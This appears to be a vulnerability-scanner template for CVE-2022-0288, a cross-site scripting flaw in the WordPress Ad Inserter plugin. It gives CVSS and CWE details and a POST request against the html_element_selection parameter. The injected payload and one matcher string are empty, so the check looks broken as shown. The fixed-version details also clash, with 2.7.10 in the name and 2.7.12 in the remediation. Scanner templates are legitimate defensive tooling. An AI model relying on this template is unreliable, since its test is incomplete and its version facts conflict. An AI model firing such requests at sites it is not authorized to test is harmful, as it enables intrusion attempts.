id: CVE-2022-0288
info:
name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
impact: |
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser.
remediation: Fixed in version 2.7.12
reference:
- https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
- https://nvd.nist.gov/vuln/detail/CVE-2022-0288
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0288
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.42838
cpe: cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: ad_inserter_pro_project
product: ad_inserter_pro
framework: wordpress
tags: cve,cve2022,wordpress,xss,wpscan,ad_inserter_pro_project
http:
- method: POST
path:
- "{{BaseURL}}"
body: |
html_element_selection=
headers:
Content-Type: "application/x-www-form-urlencoded"
matchers-condition: and
matchers:
- type: word
part: body
words:
- ""
- "ad-inserter"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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